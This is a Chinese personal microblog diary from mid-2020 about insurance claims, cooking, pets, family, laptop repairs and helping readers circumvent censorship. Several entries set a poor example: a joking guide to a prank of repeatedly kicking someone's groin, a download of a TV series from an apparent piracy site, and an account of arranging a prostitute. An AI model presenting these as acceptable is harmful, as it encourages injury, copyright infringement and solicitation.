5 月 24 日开始打狂犬疫苗第一针，与此同时拨打商业保险公司的官方理赔电话，按照指示准备理赔材料：
- 受伤部位的照片
- 面部照和全身照
- 职业证明（某些高危职业不支持投保）
- 发票（报销凭证）
- 病历、用药明细和检查报告等
6 月 21 日打完最后一针（第五针），发送以上理赔资料。7 月 1 日收到 ￥431 的国泰财产保险的通过支付宝打来的理赔款。打款超时的原因是系统故障，但是没有追责了。
科学配置保险，才能转嫁风险。在死亡和重大疾病面前，社保和网络众筹只是杯水车薪罢了。
2020-07-03
如果有一天我失去了年轻的生命，请不要为我悲伤，我有认真的活过。
如何开人肉拖拉机（无需道具的阿鲁巴）？以下是这个独门绝技（绝种的绝）的首次公开教学：
- 两个人对坐，都把脚伸直，身体呈 L 型。
- A 用两只手握住对面 B 的两条腿，模拟老式拖拉机的方向盘。
- A 再用一条腿踹到 B 的裆部，模拟拖拉机的刹车。
- 完成以上准备动作后，A 就可以模拟颠簸的山路，以 2 Hz 的频率猛踩刹车，此时 B 就会特别享受。
登高不傲，居低不怨。
花了 4 天，给 70 多篇博文加了封面图。但是感觉图片尺寸（700 px × 400 px）太大了，不管了，先完成再完美。
单休的工作，没有个人生活可言。申请双休成功。
22:43天然的动物本能，让我想接近异性，能不能找到女朋友，无所谓。
23:542020-07-04
熬夜了。
01:21不用上班的周六，真舒服。
好久没有背单词了，我真是个罪人。
07:47把脏兮兮的小白鞋拿去洗了，泡水的那种，因为它已经脱胶了。
12:18成功见到即刻网友 SYT，让 Ta 帮我溜了半个钟狗，我继续打篮球。
20:00SYT 把狗子还给我，就立刻转身离去了，深藏功与名。
20:40用 IDM 在 zxzj.me 下载《权力的游戏》，体验太棒了。
2020-07-05
因为高中打篮球经常崴脚，右脚踝留下了后遗症，最近运动量比较多，开始隐隐作痛。
00:55煎一个饼，开始一个潦草的周日：猪肉白菜馅不熟。
09:59经常去姐姐哥哥家混吃混喝，有这样的弟弟，三生不幸。
12:13大姐（ZYX）西晒的花盆空荡荡，从网上收集了以下喜阳易养的植物
- 仙人掌（Cactus）：不干不浇，不可过湿，大概每个月浇水一次。
- 薄荷 (Mint)：多浇水，或水培。
- 多肉 (Succulents)：多晒太阳少浇水。插一根牙签，湿则浇一点水。
- 芦荟 (Aloe)：透气的泥盆，怕积水。
- 橡皮树（Balata）：2 周浇一次水。勿碰汁液。
- 枸杞（Goji Berry）：喜疏松（砂质土壤）。
五岁外甥想看我跳「太空步」，我 10 分钟学会了。
我的公寓成了熊孩子收容所：电脑辣条膝上狗，空调西瓜都要有。
2020-07-06
口腔溃疡几天不见好。
19:14今日晚餐：咸鸭蛋炒玉米粒。
20:442020-07-07
联想小新 15 笔记本电脑键盘（上方向键）一侧脱落。
下厨一年多，第一买花菜吃。
21:132020-07-08
看到《权力的游戏》第六集第八集 54:49 这一幕，爱死 Arya Stark。
00:15追剧荒废了本该学英语的时间。
01:20昨晚忘了给电动摩托车充电（每日一充），不得不去做公交车 🚌 去上班。
08:00Weddings are basically funerals with cake. by Rick and Morty Season 2
我的中文网名变更史：
- FC 之魂：小学时代；杀马特之风；FC 何意，现已忘却，总是当时觉得很酷。
- 勤定钟生：「勤」通「情」，一是告诫自己好好学习。
- 庭勃士：时刻保持勃起的好奇心，保持对生活的热情，但是某些读者可能不会把「好奇心」当作中心词，那就造成了言语上对人的的冒犯；「勃」通「博」，但是涉猎广泛，导致知识杂乱，「吾生也有涯，而知也无涯。以有涯随无涯，殆已」。
- 小庭子：保持兼备，放下 Bo 士的包袱，很少人能同时学会很多技能，不如找一个铁杵，慢慢磨成针。
2020-07-09
Excel 已经不能满足我日益增长的办公需求了，开始学习如何使用 Notion。
17:39观赏高手双打，让我有点爱上打羽毛球。
23:142020-07-10
人生发出无数的疑问：
- 为什么要读书？
- 为什么要说虚假的话？
- 为什么要有伴？
可能穷极一生都找不到答案。你所能做的就是，忽略不能解决当下困难的问题，然后去热爱生活，把时间「浪费」在美好的事物上。
19:27麦客就是职业割麦人。因为在中国北方，根据纬度不同，气候不同，各地麦子的成熟是有节奏的，从秦岭起始，从南到北，麦子是一截一截往上黄的。
麦客一般都是甘肃人，回民比较多，他们会赶在秦岭的第一茬麦子黄了的时候，南下帮人割麦，一路向北割，等割到自家门口的时候，这一年整个北方的麦子就全割完了。
过去的农村人对于麦客非常尊敬，不是单纯的雇佣关系，而是把他们当成自家的客人。用我爷爷的话说，「人家是给咱们家来下苦力的，本来是咱们要干的活儿，人家帮咱们弄了，否则咱家的麦子收不回来就掉地里了。」by 故事FM
2020-07-11
刚结束四年级的外甥（PS）过来我这里睡，一起玩「我的世界」到凌晨十二点，困意潦倒，我俩没有洗澡和刷牙，直接睡了。
我讨厌抖音中那些强加的音效，就像听到指甲刮黑板的声音一样难受。
好朋友 LMZ 领结婚证了。
09:45公司的采购妹子 OYQ 离职了：希望你别忘记我这个好朋友。
11:182020-07-12
熬夜追剧。
01:43遛狗的时候，一位清洁工与我攀谈起来。她跟我谈养狗、女朋友、闲置单车，其中有一个话题是：她的嫂子无法生育，问我的村里是否有不要的小孩。我说先试试正规领养渠道。于是我在 google.com 上搜索「深圳 福利院」，第三个就是官方的回答：深圳市有几间社会福利机构可以接受市民申请收养弃婴或儿童？。她不太会用手机，于是我回到公寓写在纸上，然后再送下去给她，并告诉她公交路线。希望她和她的嫂子可以如愿。
不穿内裤，只穿短裤的感觉只好。
12:18我们每天穿得人模狗样，头发一丝不苟，见人面带微笑，开口问路先说您好，面对强权我们卑躬屈膝，遇到坏逼我们苟且犬儒，却始终没有能像王五四那样，精确瞄准，痛快淋漓。我们以为自己可以轻易做到，实际上我们做不到。
你的痣不影响你颜值。by LS
16:462020-07-13
《权力的游戏》还有最后一集，熬不动了，先睡。
02:18我每天要骑 10 公里的电动摩托车到公司上班，没做早餐的话，我会点一碗炸酱面。卖炸酱面的大叔问我是不是老婆孩子在那边，所以没有搬过来这边住，我说我单身。
盼星星盼月亮，庭说的电报频道 @tingtalk 迎来第 1000 个关注者。
10:17做饭两个钟，吃饭十分钟。
22:452020-07-14
终于看完了《权力的游戏》第八季第六集（总共七十三集，一集大概五十分钟）。
00:56放下手机，立刻睡觉。
02:04骑着电动摩托车，听着播客，太入迷，没注意同向的自行车，一个躲闪，飞出一米远，车没事，人受伤：
- 左手腕撑在地板上，所幸还能活动，但近期不能打篮球了。
- 裤子被水泥板磨破，膝盖表皮同步受损。
终于有理由去买夏天的衣服了。
08:38要成为更丰盈的人。
15:55左手无法活动，买了 25 块钱牛肉补补，第一次买。
19:44一背单词就犯困。
23:222020-07-15
小时候，我要抢菜汤拌饭。一块咸咸的五花肉，可以吃一碗饭。
12:062020-07-16
第一次在新入职的公司带薪拉屎，因为吃坏肚子了。多年以来，我都是在早上一起床解决我的排泄问题。
13:38水放少了，米饭 🍚 没煮熟。
20:252020-07-17
有双休的周五，工作都会比较有激情。
2020-07-18
昨天花了一上午挑选：料酒、酱油和蚝油。门道不少，都记录在博客上了（VPN required）：https://tingtalk.me/cook
连续剧一部接一部，现在迷上了《隐秘的角落》。
好久没吃泡面了。
20:472020-07-19
真的好吃到脸都要掉下来了。by 《海贼王》动漫第 933 集。
Gifter 翻译成「给（jǐ）赋者」，真是妙不可言。
联想小新 15 笔记本电脑的上（Up）方向键坏了，上周拿去修好了，京东售后部门把整个主板换了，但是键盘没换，于是现在那个键位又翘起来了（右侧再次脱落），难道我就不配拥有 Up 的权利？
2020-07-20
又荒废了一个周末。
23:512020-07-21
外包网站花了 7000 块，付了一半钱，开始动工。没想到是模板站，改什么都要加钱。于是合作无限期延期。接着我开始自己学习做企业站，总成本一千左右（不包括我的人工）。
签合同之前，我告诉 Boss，必须给我看一下，但是 Boss 觉得自己能搞定，果真被坑了。
一背单词就发困。
22:152020-07-22
近期我有一股冲动：想开一个播客，特别符合「庭说」这个名字。但是：
- 制作一期播客需要很多个小时（七八个小时？），有点把我劝退了。
- 我的男音很难听，尖锐嘶哑，我的外婆经常无法分辨我的声音和我五姐的声音。这也是我迟迟没有动手录制播客的另外一个原因。
2020-07-23
🎉 Today's the anniversary of the One Piece manga!
🏴 It's been 23 years (1997-07-22 ~ 2020-07-22) since Monkey D. Luffy began his journey to become King of the Pirates!
☠ But it's still the best time to be a fan in any form.
外甥的 iPad 被停用了（输错太多密码）。立马自学，恢复了 iPad。然后我开始学习如何在 iPad 上翻墙（与 iPhone 同理），很快就搞定了。
2020-07-24
摄入太多 NSFW，纵欲过度，导致晚睡。这该死的生物本能：性欲。
01:26外婆经常说我小时候小鸡鸡太短，小便的时候，尿不到尿缸里，因此经常拉在裤子里。
一年前买了小米意外险（169 元/年），不料被猫抓伤，打疫苗花了 431 元，全部报销了。这次咬咬牙，对自己好一点，买个众惠大护法成人意外险（至尊版）：
- 保费：298 元/年
- 意外身故保/伤残：100 万元
- 意外医疗：5 万元
- 猝死：50 万元
- 意外住院津贴：150 元/天
但愿不出险，健康保一年。
2020-07-25
Telegram 是唯一一个让我愿意发送崩溃报告的软件。
因为我经常要帮助很多小白翻墙（免费远程协助），所以要不断学习爬墙技术，降低小白的出海门槛。我没有用过 iPhone，但是为了帮助使用 iOS 读者翻墙，我也得学习这方面的爬墙技术。
一年多以来，帮助了接近 70 多位读者实现网络自由，我一直在等待警车来再次被带走我。因为只要我用庭说这个江湖名号，我基本就是在网上裸奔，因为有一个同名公众号。
认识一位读者，Ta 刚上初中，就有老师教 Ta 翻墙。
2020-07-26
今日重温《让子弹飞》（普通话版 | 四川话版）这部电影，看完之后配合 看穿电影的这 4 个解说视频，真他妈的惊喜（粗话取自电影台词）！大风起兮云飞扬！安得猛士兮走四方！好电影，任何时候都要看，不看不行。你们想想，你拿着瓜子，窝在沙发里，吃着爆米花还唱着歌，突然就被一部电影打动了！所以，没有烂片的日子，才是好日子！花有重开日，人无在少年，电影「如花似玉」，大哥，您慢慢品，不要急，要有耐心，让子弹飞一会儿。
01:28晒完衣服，刷刷手机，就睡觉了。
02:32「对生活抱有热情，是拍出好照片的前提」。只有热爱生活的人，才会有发现「美」的能力，才能捕捉到那些动人的场景，才可以与美好瞬间建立连接。by 刘丹
一个书包送走了猫，派去奶茶店抓老鼠，留下一条狗和一席孤枕；一个书包带走了二姐做的 2 带糯米粄和 2 袋炸鱼块，留下外甥的不舍。
跟二姐做邻居，冰箱不空虚。
21:452020-07-27
一年前我帮一位外国网友叫鸡，他来中国出差。鸡头用定位软件说到楼下了，赶紧付款。我不同意，他就发一个小视频：一车人拿着刀，要砍宾馆里的嫖娼者。我安慰他说这只是恐吓，老鸨没必要这么做。
我一直用「365 日历」作为我的生日提醒软件，可以提前 7 天 / 3 天 / 1 天在微信服务号收到提醒。但是有一天这个软件倒闭了，又没有提供数据导出功能，那就麻烦了，因为我记录了很多人的生日。国内的软件，就是鸡贼。
我在大学党班干部时候，就让生活委员提醒今天谁生日。现在毕业了，生活委员也没有义务提醒了，这个任务我就自愿接下来了，毕竟也是我推行的。但是我发现，一些同学的平淡反应，已经让我不想提醒了。不过我不能忘记那些老铁们和家人们的生日，所以还是需要一个「强提醒」的软件，解放纸笔和大脑。
2020-07-28
最近吃了辣椒，就要拉肚子。
09:37一发工资就不想干活，当初我怎么答应了这个待遇呢？
17:25罗翔老师谈到 家暴 时，顺便表达了他的择偶标准：对弱势群体的态度，才能看出一个人的真面目。结合我今天的故事：一位上了年纪的清洁工阿姨，碰到我，把我叫到楼梯口（员工平时躲在那里抽烟），我以为是什么事情，没想到她只是让我过去休息一下，顺便跟她聊聊天。东拉西扯，话题不限：老板对她好、老板娘刻薄、无法接受姑娘穿短裙、婚姻生活等。她的口音挺重，音量也不大，虽然听不大懂，但我还是和她聊了十几分钟。我和她平时交集不多，只是看她拖地时，我会踮着脚尖着走，或者脚踩几下拖把，便匆匆上班去。
21:35我的一位高中女同学 LS，她在前段时间分手了，因为她不能忍受吃饭的时候，男朋友对服务员的恶语相向。
2020-07-29
为了躲避审查，博客没被封之前，我用「番茄」代替「翻墙」，现在「番茄」也成了敏感词。网盘蓝奏云已经把「番茄」屏蔽了，相关的安装包也被删除了。QQ 也不能传送 Clash for Windows 的安装包。
我原来的计划是，等博客的阅读量起来之后再把「翻墙」相关的文章撤下，以求自保。没想到《电报教程》传开了，开心之时，永封之日。
关注价值观，几年前，我也是摇摆不定，随着出墙之后，知道：
- 分清观点和事实
- 没有可靠的信源就不讨论
- 说话人是否利益相关
就渐渐变得讨人厌，因为身边的人不能接受这么「轴」的人。
在超市买了一份快餐，作为明天的午餐，因为公司：
- 附近没什么好吃的
- 外面很热，很挤
- 要爬电梯到五楼
虽然过夜菜不健康，但又能怎么办。
19:48今天没拖地，拖完神清气爽。
22:10我 10 分钟就学会了太空步，两个外甥可以作证。
2020-07-30
楼下幼儿园一首《踏浪》，瞬间让时光回到武校时期（四年级到九年级）。
08:02我从老家捞了一些斗鱼，带到大城市，到如今都死光了，仅剩的一条，还是独眼鱼。
17:25楼下的买菜阿姨要给我介绍对象。
19:23《疲浪主义》公众号主理人张大大：
- 我无法融入任何群体，我是一个人间的卧底。
- 这个人的操作系统缺少一种驱动，与世界的接口尚不兼容。
- 坦诚是我唯一的社交技巧。
- 表达是在为自己想要的世界投票。
获得机场 ssrcloud 的返利 ￥120.85。
22:54在 eBay 卖出一个灭霸手套开瓶器，利润 2.3 美元。
23:492020-07-31
现在的中国是半封建半互联网社会。
07:162020-08
2020-08-01
我一直帮助 Ta 人，不管是现实世界还是网络世界。这让我的人生更有意义。这也让我每天睡得很安稳，眼睛一闭一睁，天就亮了。也只有非功利的写作也能让文字获得更持久的生命力，遇见更多的真心读者。这方面我还需要继续努力。
00:23英语学得不怎么样，整天在折腾学习工具：
- Typora：使用 Markdown 做笔记
- PantherBar 划词 + 沙拉查词
- 微软白板辅助记忆
一辆送外卖的电动车突然起步，我一个急刹，车主倒了，人没事，雨衣破了。
14:45先完成，再完善（完成比完美重要）：
- First you make it work. Then make it better.
- Done is better than perfect.
老友 ZZH 来找我玩，但不是以基督教传教士的身份。
18:58《东京物语》（Tokyo Story，1953），温柔的力量。
23:312020-08-02
在感情里，这一点点不积极，几乎就是要杀掉所有可能性的。感情里就是要积极要互动要付出才能建立关系的呀，心里有顾虑，不积极不主动不拒绝，几乎就杀掉了所有恋爱的可能。by 真情小蔚
自我并不是一个本来就存在的东西，相反，构建，寻找，定义自我的过程才是自我。
有很多人已经放弃表达。只观看，消费每天被推送的文章和片段信息，借此理解世界。长久以来，结果没什么大不了，无非越来越“不知道自己喜欢做什么”，然后继续做自己不喜欢的事来赚钱，完成消费的循环。
希望你不再止于观看和被动消费，愿意俯身建造自己的宫殿、水池和空中花园。
by 好奇心俱乐部：一群终日晃荡的年轻人，还没有放弃找到自己。
我觉得我要坦然接受我现在的一切，包括缺乏，包括我对金钱的缺乏，我对爱情的缺乏。by 李璨 April
像我这种经常协助 Ta 人「侵入、非法控制计算机信息系统的程序、工具」的人，是不是该收拾盘缠，进深山老林避避风头，免得被跨省追捕。
2020-08-03
吃饱了，就什么都不想干：
- 不想洗澡
- 不想学英语
- 不想运动
看着肚子上的肥肉越来越多，让人焦虑。
22:022020-08-04
电影看困了，睡觉 😴。
02:30关门，发现没穿内裤。开门，脱掉鞋子和裤子，穿上内裤。啊，真不舒服。
08:04你帮我写离婚协议书吧。by ZLL
一派胡言的京东笔电售后部门：
- 键帽脱落，第一次维修，换主板蒙混过关
- 频繁打电话要好评（我给了 5 星，因为 6 天搞定了）
- 发现键帽又翘起来，售后要我私了，不要提交售后申请单，我不同意
- 已经过去 17 天了，还没有回来，但是状态显示已从厂家返回京东，微信售后客服却说键盘缺料，还有 7 到 10 天。规定时效是 7 到 15 天搞定。
为了把啤酒 🍺 用完，买了 3/4 只鸭子（￥28）。
19:50为什么我烧的啤酒鸭有苦味？原因可能是放太多啤酒，导致大火收汁的时间过长。
21:37一位读者（Simon）跟我说：
勃士啊，不知道你有没有兴趣写一篇网络安全的指南。
我是一名业余 hack ，一直想做这个事，但为了让看到的人更多，最重要的是，你的排版无人能敌，就想着是不是可以和你合作写一篇，或者一个系列。
市面上现有的针对翻墙者的网络安全教程就是编程随想的最出名，但是人们反馈可操作性不高。我思考了一下为什么，可能是他说出了全部的选项，也就默认是最高级的防御措施了。我的大概思路是分级，根据不同的活动，提供不同的行动建议。
我的核心思路是没有措施是绝对安全的，但我们可以通过注意一些小细节，而大幅增加社工和政府的定位难度。很大程度上确保安全，所以行动力会比较好。
咱们有空电联一下，你可以录音，谈谈我的一些建议。
晚上 11 点多又发困了，于是睡到凌晨 1 点多，起来：
- 洗碗
- 洗调味品（泡在小苏打水里）
- 洗澡
- 用透明胶带修复摩托车雨衣
作息越来越乱了。
02:06眼皮耷拉，精神百倍。
03:04大风把电动摩托车刮倒了，扶起来，发现前胎漏气了，但我还是咬咬牙，听着播客，把它从 10 ㎞ 外弄回了家，大约用时一个半钟（平时只要半个钟）：
- 0 km 至 5 km：15 km/h
- 5 km 至 8 km：8 km/h
- 8 km 至 10 km：自己推回去
2020-08-06
从昨晚九点多睡到今天早上七点钟，没有洗碗、洗澡和刷牙。
07:09在来荷兰之前，我也和大多数人一样觉得欧洲人因为福利过于优秀，人就变得温水煮青蛙式得慵懒，不求上进，缺乏生活的斗志。但事实上，从另一个角度来看，正是脱离了物质追求，他们更追求精神上追求，投入的业余项目全凭自己的爱好。在热情的催化下，创造力一点也不落后，诞生诸多环保主义、素食主义、平权等社会和谐理念。按照叔本华的哲学思想，只有闲暇是自己的。不管是热衷于工作挣钱、还是喜爱养花养草，去享受和充实自己的闲暇时光，就是在掌控自己的人生。by Aleven
爱否科技的主笔 彭林 说，几乎所有的「智能」电子锁都可以在十秒内破解，稳定才是最该考虑的。
我同意彭总的观点，不过我的行为更大胆：
- 房间门禁卡（酒店用的那种）放在门前鞋柜上，方便邻居小姐姐入室盗狗（帮我遛狗）。
- 出去遛狗的时候，房间不关门，驱散狗骚味。
为什么敢这么放肆：
- 家里没有值钱的东西。
- 随处可见的摄像机，监控着不法分子和每个公民。
美国计划禁止中国电信运营商直接与美国电信网络连接，北美 CN2 GIA 线路将中断，甚至中国用户将不能直连美国。我觉得「情理」之中，意料之内。所以没有觉得很惊讶。COVID-19 没有让地球村的人民团结起来，世界反而在加速分裂中，形成一个个部落。
2020-08-07
外甥（PY）：小舅，我爸妈上班去了，我哥去学校踢球了，我请假在家养病。
小舅：那你多喝温水，半个小时一次。
外甥（PY）：那你半个小时打一个电话过来提醒我喝水？到了公司一下车，一条长得像短腿狐狸的小黄狗就跑到我的脚下，等待我的抚摸。
昨天带狗子去水果店，买了 3 个黑布林，付了钱就忘记拿了。傍晚下班回来，去便利店拿了快递（贵州朋友 LGL 寄来的特产）后，就去找遗失的水果，老板还多给我一个呢。一推开水果店的玻璃门，发现一只黑色田园猫，我尝试去摸她，猫咪也没有反抗，还来蹭我。我准备离开水果店，猫咪也跟着我走。于是我把她抱到我的睡眠仓（三楼），但是她不吃猫粮。被狗子吓到之后，就想逃离，我只好把她带回原处，继续撸她，不愿离开。我发现她的反应跟我以前养的猫咪（Dora）很像，很黏人，一摸她屁股就翘起来，原来这种小黑猫发情了，亦或是怀孕了（肚子挺大的）。明天我还会遇见她吗？有点期待。
2020-08-08
昨晚十点多，没忍住，又睡了，没洗碗，没洗澡，没刷牙，然后今天早上五点多醒了。
05:45和外甥（CFD）一起去电影院看了《误杀》：
- 英文翻译：Sheep Without a Shepherd
- 上映时间：2019
- 主观评分：★★★★☆
- 经典台词：当你看过 1000 部电影，就会发现这世上没有什么离奇的事。
2020-08-09
睡了八个钟。
帮一位欠债十几万的中年男子 ZYL 重装 Windows 系统，因为 BIOS 没设置好，搞了几个钟，最后攻克了。最后在他的要求下，给他收藏了一个 NSFW 的网站。
23:582020-08-10
坐在椅子上玩手机，不想洗澡。
00:47上班没激情，摸鱼一整天。
2020-08-11
我已经彻底放弃公务员。因为公务员守则的第一条几乎都是拥护共产党的领导，而不是为人民服务。
吃了贵州辣子鸡，满嘴花椒味。
13:40肉体，可以妥协，因为要活着。灵魂，绝不出卖，因懂得为何而活。
2020-08-12
向京东售后申请更换键帽，可能会换新。请做好数据备份。
好好的笔记本电脑，只是键帽脱落，从 7 月 11 日到现在，修了两次：
- 第一次换主板，没换键盘
- 第二次换新机，还说黑屏了（寄过去好好的）
幸好备份了一些重要数据，但是也丢失了一些。
2020-08-13
把包含姓名信息的微信号换成博客名了。
09:07关注了 200 多个播客，最爱听故事FM，听着听着，眼眶就湿了。
不想上班，把时间花在升级博客上去了。
01:142020-08-14
一个身份证只能注册一个公众号。当我的公众号被永久封号后，这个额度没有释放，于是我找了同学的身份证注册。按照这个逻辑，微信号被封后，只能买一个新的手机号码了。
我同学怕我在公众号上发布敏感文章而连累到他，这也是我不想重启公众号的一个原因。
博客被封后，公众号换成灰色头像以表哀悼，没想到公众号接着被灰飞烟灭了。于是，这个写了四年多，只有五百多位关注者的公众号，永久停留在灰色地带。
6 月 18 日买了少数派几素风扇，现在只会摇头，不会转。
最近总是坏东西：
- 电动摩托车前轮漏气（换气嘴 ￥10），刹车损坏
- 笔记本电脑键盘脱落
- 狗狗的胸背带被咬断
……
ting 勃士好，看了您几万字的 telegram 指南，被文章中的奇妙链接深深折服。交个朋友！by 阿珍
我今天通勤路上，还在思考「信息茧房」的问题。微信有 1125 个联系人，屏蔽了 405 人。
最近都在听故事FM，一个小目标，听完所有节目，目前有 400 期。
我也觉得目前的审美价值观非常单一。虽然从生物学上说，人都喜欢年轻漂亮的异性，代表这是健康的身体，有利于繁衍后代。
中国的言论环境不允许价值观讨论，只有中国特色社会主义核心价值观。
我变得越来越不关注世界议题，不关心民生问题。因为在中国很难得到真实的报道，基于错误或扭曲的事实展开讨论，是没有意义的。
2020-08-15
熬夜更新博客。`02:14
和 Simon 打了一个钟电话，教我如何写一篇信息安全的文章。
22:29网络一线牵，情谊在心间。
我喜欢写一些狗屁不通的押韵打油诗。在高中的时候，一位同学生日，我写了一首长篇打油诗，在晚自习的时候，当着全班念出来。啊，高中的日子，总是令人怀念。
2020-08-16
现在胖得西裤都穿不下了。
11:09手机听筒很小声，应该是进水了。
17:40这期 播客 讲到了在家自学（Homeschooling），如有条件，可以试试，摆脱填鸭式教育。
最近帮同事的小孩解五年级的题，看到那些题目，我特别反感。不教科学知识，都是什么玩意。虽然自己也是这么过来的。
我的家人让我考教师证，当学校老师或者培训机构的老师，一想到我要挤破头，去钻研所谓的高分秘籍，不是教学生真诚、友善和有用的科学知识素养，我就彻底放弃这个念头。
2020-08-17
逛了一天展会，两脚轻微酸痛，夜不能寐，也可能是因为在车上睡了一觉。
01:203.4 km，骑共享单车花了 28 分钟。
19:11一些很简单的操作，有些读者，我需要教十几遍。前几天，我终于忍不住，把文章导出 PDF 发给 Ta，让 Ta 花点时间耐心阅读完。
20:02大一大二，我和室友，玩穿越红线电脑版，也是挺疯的。我只会狙击。宿舍分 5 楼和 6 楼，我是 5 楼狙神，但是上到 6 楼，我就被秒成渣。有一个同学，天天玩游戏，经常被他爆头。
21:012020-08-18
如果说历史是 History，每个人也有一个 Story，每个人的故事终将汇成一个宏大的历史。
虚荣是魔鬼最喜欢的原罪。
给父亲 ZQJ 买了一份意外险，￥299 保 100 万。
10:41先把青椒喂饱，趁青椒不注意，再冷不丁把青椒吃了。
20:502020-08-19
不少人向我咨询保险，我感到很欣慰。转移风险，未雨绸缪。
16:552020-08-20
花了几个钟，把房间彻底整理了几遍，地板上和床底下，空无一物。并整理出一块空地，准备开始肚腩消灭计划。
我很害怕婚姻会把我绑死，为了家庭，不得不做。多么自私的人类，反抗生物的本质：繁衍。
如果无法提供完善的教育条件，不敢接近异性。而且现代社会多无聊，小孩的乐趣基本只能从手机上获得（同龄人都在玩），我们那时还有广阔的田野可以奔跑。
据说，女人到了一定的年龄就会停经，男人到了一定的年纪就会停更，我以为你已经停了，今天看到你又流出来了，我好开心。by 妖八零评和菜头
好看的衣服能让人心情愉悦，周末要去买几套商务休闲装。
14:56好久没有这么早冲凉了。
21:17我得了一背单词就会犯困的病。
21:372020-08-21
Nobody exists on purpose. Nobody belongs anywhere. Everybody's gonna die. Come watch Rick and Morty.
读完高中，我基本就交完这辈子所有的线下朋友。然而，在 2017 年开设博客后，通过真正的互联网，我遇到很多很棒的线上朋友，Ta 们甚至会跟我聊一些非常私密的话题，我非常感激这份信任。不要害怕没有朋友，发出你的光，同好们会循着这个信标找到你。Peace。
23:292020-08-22
熬夜更新 电报教程。
02:18「一顿烧烤」是一种衡量事件严重程度的度量单位，而 81 Cc = 能请朋友来吃 homemade 粉蒸肉的厨艺水平。
作为当代青年首选入门菜，可乐鸡翅具有 Super Star 般的优秀地位。而反推亦可知，还在晒可乐鸡翅的青年，通常做饭不超过一周，因为我们将厨艺的最小单位定位 1 Cc（cola chicken wings）。
能够宴请朋友回家吃饭，厨艺指数需要达到 81 Cc，开一家私房菜馆则要 587 Cc 的厨艺值，如果对这间菜馆还抱有养家糊口的野望，少说还得再加 153 个可乐鸡翅。by 潘姜汐熹
公寓续租到 2021 年 2 月 25 日，房东说，下次到期租金可能要涨，从 ￥850 到 ￥950。
21:02公众号「庭说 TingTalk」重新营业了。
23:552020-08-23
喉咙痛了几天。
01:10定个规矩，上床不能玩手机，只能背单词。
01:15微信社交礼仪：
- 不发「在吗」，请开门见山。
- 不发语音，信息浓度低。
- 好好打字，讲清来龙去脉。
- 思考对方为何要无偿回复你？
高二同学 ZAL 向我咨询保险相关的事务，她已经怀孕 17 周了。
2020-08-24
电动摩托车的前轮又没气了，上次刚换了一个气嘴只好坐公交车去上班了。预计迟到一个钟，幸好不用打卡。
08:23当我遭受到不好的事情，不会感到特别难过：
- 下大雨了，鞋子湿透了。管不着，别坏了心情。
- 骑摩托车出事故飞出去了，左手崴了。我命还在，开心。
- 领到薪水了，还是这么少。我需要那么多去满足虚无的欲望吗？
我有一百种方法，让自己开心以及呆在舒适圈，只要健康还在，其它都是小事。
轮胎加胶水，花了 ￥15。
2020-08-25
花 ￥29.92 买了少数派的 Python 自学手册，并不是想掌握代码之后以此为职业，而只是想通过编程思维和代码知识解决生活和工作中的实际问题。
18:282020-08-26
蹉跎一天，不知在干嘛。
2020-08-27
对于国家主义者，他们是很真实的，一开始很多人会怀疑那么多评论的小粉红是“僵尸号“，后来发现不是，这就是今天中国很现实的生态，一个我们无法逃避而需要面对的真实。我现在也避免在网络上长篇大论地和人争执，因为最后不过是沦为一个语言的游戏的，人们在言说的时候——包括我们自己在内——是不是真的能够表达出自己内心东西？我们在表达自己的忧虑丶骄傲与恐惧的时候有多大程度是失真的。更无论那些缺乏了批判性思考训练的人们，他们的表达能力可能更受限，大家都在言说一些被灌输的语言。而当我们绕过这些自说自话的东西，回到大家内心最真实的需求，一点点的而不会是一个一蹴而就的过程。简单来讲，人与人的相互说服是不可能的，而是我们想办法一起创造一个新的空间一起走进去生活一段时间。……我隐隐约约地感觉到自己的一个使命感，是将时代的红利带给我的运气和既得利益想尽办法地还给这个时代，并且想尽办法透过个人能力来加乘，我得到1，可以还出10，或者100。……我经历过至少两次我的采访对象因为我的报导而坐牢。我当时对自己还要不要继续做记者一直存在困扰，长期地处在幸存者的愧疚之中。这种愧疚令我建立了“自由的红利需要偿还”的愿望，也一直希望自己的报道、记录，可以不辜负。by 张洁平
我的一个同事，只要听到别人买 iPhone，就说不爱国。前段时间，她买了华为 Mate 30，但是电池很不耐用，可能是个例。一直问我如何处理，我让她寄去京东售后部门，又不肯，怕手机的某些零件被换。
人生其实是一场并不太公平的抽奖游戏，所有命运馈赠的礼物，早已在暗中标好了价格。by 故事FM
老友 WYR 再次过来与我同床睡。
2020-08-28
一个叫 Fanny 读者不理解我为什么要无偿帮助别人翻墙；一个老同学让我把 Telegram 的表情包搬运到微信表情商店，这样就可以骗到赞赏。Ta 们都说社会就是利益至上，但是 Ta 们却从我这里得到了免费的「服务」。
2020-08-29
颓废的周六。
2020-08-30
十点多睡了一觉，所以又熬夜了。
02:29庭说的播客开通了，要聊点什么呢？
10:00从 2019 年 7 月 13 日开始，理发 💇 我只去「优剪」。有时候，理发师的细心会让我感到不耐烦（褒义）。
2020-08-31
不想工作，抽空把 利器x播客 的访谈全部看完了。
17:57下班回家，路边看到一个小男孩在哭泣，我停下摩托车，把他拉到不会被车撞到的地方。一番攀谈交心后，小男孩并没有回答我的任何问题，带他回家也不肯。正当焦灼时，刚好来了一位警察 👮，说明情况后，警察告诉我他来接手，我才安心得离去。应该增加父母考试制度，理论 ＋ 实操（养一只宠物测试耐心度和细心度），三次不通过，直接拉去结扎（zā）。
2020-09
2020-09-01
八十多岁的外婆，长期独居，现在又开始胡言乱语。连续很多周打电话给外婆，也打不通。
08:08祝高中同学 DJL 生日快乐，她是个超级大美女，牵过我的手，「玩弄」过我的感情。阳光灿烂的日子，多么值得怀念。
09:34最近特别容易饿，难道是甲状腺功能亢进症的前兆？要去医院走一趟了。
刚刚骑车，又摔出去了。
18:522020-09-02
My electric scooter broke down on the road, three times. 电动摩托车在路上抛锚三次。
2020-09-03
逐字逐句，通过《瑞克和莫蒂》学英语。
01:14虽然蚊子叮不醒我，但是为了阻断传染病的传播，开始放蚊帐睡觉 😴。
01:18前段时间，我见了初中老同学 TSW，我发现他变得很无趣：
- 沉迷游戏王者荣耀
- 食之无味的朋友圈
- 没有青年人的梦想
花 ￥15 买了一个电动摩托车充电器转换头，这样就可以在通用充电站充电了。
19:312020-09-05
高校的目的是为理想而奋斗，为好奇而奋斗；企业是现实主义的，有商业“铜臭”的。by 任正非
所谓有趣的灵魂，实际上就是这个人的信息密度和知识层面，都远高于你，并愿意俯下身去听你说那毫无营养的废话和你交流，提出一些你没有听过的观点，颠覆了你短浅的想象力及三观。
